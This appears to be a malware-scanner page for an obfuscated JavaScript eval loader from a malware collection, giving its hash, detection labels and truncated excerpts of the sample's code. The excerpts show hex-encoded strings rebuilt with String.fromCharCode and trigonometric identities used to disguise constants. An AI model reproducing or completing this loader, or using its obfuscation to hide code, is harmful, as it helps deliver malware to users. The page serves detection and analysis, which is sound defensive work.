Suspicious 80% javascript-malware-collection Download

20151215_617a79ffbd0c573b247ccaf2c3a2b193.js

Obfuscated eval loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256c6231f3421bd2137069b7c49c8f6316f22badd5745f7146345e9ac6fc45b3800

Evidence

Single-line packed JavaScript loader profile lines 1–2
1var A=new Array();
2y(A,"\x52");y(A,"\x4f");y(A,"\x79");y(A,"\x40");y(A,"\x7a");y(A,"\x36");y(A,"\x43");y(A,"\x28");y(A,"\x43");y(A,"\x75");y(A,"\x75");y(A,"\x3e");y(A,"\x59");y(A,"\x62");y(A,"\x6e");y(A,"\x3e");y(A,"\x4a");y(A,"\x56");y(A,"\x4f");y(A,"\x56");y(A,"\x22");y(A,"\x4d");y(A,"\x40");y(A,"\x32");y(A,"\x6b");y(A,"\x59");y(A,"\x55");y(A,"\x56");y(A,"\x33");y(A,"\x40");y(A,"\x2f");y(A,"\x65");y(A,"\x3a");y(A,"\x34");y(A,"\x70");y(A,"\x40");y(A,"\x43");y(A,"\x28");y(A,"\x28");y(A,"\x2b");y(A,"\x39");y(A,"\x3d");y(A,"\x73");y(A,"\x60");y(A,"\x54");y(A,"\x45");y(A,"\x24");y(A,"\x22");y(A,"\x72");y(A,"\x76");y(A,"\x70");y(A,"\x28");y(A,"\x34");y(A, …
0x3f hex byte token line 3
3:4… KtQkp=[0x4,0x5,0xe,0x10,0x14,0x19,0x1f,0x26,0x2c,0x2e,0x32,0x39,0x3f,0x45,0x48,0x4d,0x53,0x59,0x5a,0x60,0x64,0x6c,0x71,0x73,0x78,0x81,0x82,0x87,0x8e,0x93,0x9a,0x9e,0xa4,0xa6,0xad,0xb2,0xb6,0xbb,0x …
Builds characters with String.fromCharCode line 4
4:236… 39],A[40],A[41],A[42],A[43],A[44],A[45],A[46],A[47],A[48],A[49],String.fromCharCode(10),A[50],A[51],A[52],A[53],A[54],A[55],A[56],A[57],A[58],A[59],A[60],A[61],A[62],A[63],A[64],A[65],A[66],A[67],String.fromChar …
Obfuscated increment/decrement via arithmetic lines 8–11
8:75… fvt,ijWfIFqMisDQqE){ return mcvCkVq[zAuKtQkp[loPPl(jFKbCDubzlfvt[ijWfIFqMisDQqE],(9379+813)/364,(-711+741)/3)]];}
9function ZwpggIk(KNOzGDaUfSFprddAimCGMdtXTnIijyhMFSnf) {return !isNaN(parseFloat(KNOzGDaUfSFprddAimCGMdtXTnIijyhMFSnf)) && isFinite(KNOzGDaUfSFprddAimCGMdtXTnIijyhMFSnf);}
10function DKyHJHQJgaS(WvYVrhdH,wOTqps){return WvYVrhdH.split(wOTqps)}
11var V=[];V[0]=A[672];V[1]=A[673];V[2]=A[674];V[3]=A[675];V[4]=A[676];V[5]=A[677];V[6]=A[678];V[7]=A[679];V[8]=A[680];V[9]=A[681];V[10]=A[682];V[11]=A[683];V[12]=A[684];V[13]=A[685];V[14]=A[686];V[15]= …
Numeric sine-square obfuscation expression lines 13–16
13:14… VE];
14var iLywcwyDT=[];
15function PuMdvukigMyfpXoMg(Mehpc){DCsfpuHNVPu= A[1773];for(LZubmLeDelq=Math.round((Math.pow(Math.sin(503), 2) + Math.pow(Math.cos(503), 2) - 1)); LZubmLeDelq < (-451+833)/191; LZubmLeDelq++) {iLywcwyDT[LZubmLeDelq]=Math.round((Math.pow(Math.sin(105), 2) + Math.pow(Math.cos(105), 2) - 1)); while(true) { if(iLywcwyDT[LZubmLeDelq] > Mehpc[LZubmLeDelq].length-(-727+976)/249) { break; } if (ZwpggIk(loPPl(Mehpc[LZubmLeDelq][iLywcwyDT[LZubmLeDelq]],(4792+948)/205,(5375+655)/603))) {DCsfpuHNVPu += OcBxAPHHwobOPHzsgXnZxOtakFlMQCvnLyZZakwSnuOcwtpfBhaEQB([Mehpc[LZubmLeDelq][iLywcwyDT[LZubmLeDelq]]], Math.round((Math.pow(Math.sin(353), 2) + Math.pow(Math.cos(353), 2) - 1)));} iLywcwyDT[LZubmLeDelq]++;}} return DCsfpuHNVPu}
16var puEHscyYrSqeLkVRIGwNEUrYzdtWKeGgT = A[1774];var VvPtJTBXsXQCUpTAgbdcNuNfimJmbihv = A[1775];reZRyZFdWtGNbsN(PuMdvukigMyfpXoMg(Mehpc),puEHscyYrSqeLkVRIGwNEUrYzdtWKeGgT,VvPtJTBXsXQCUpTAgbdc …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.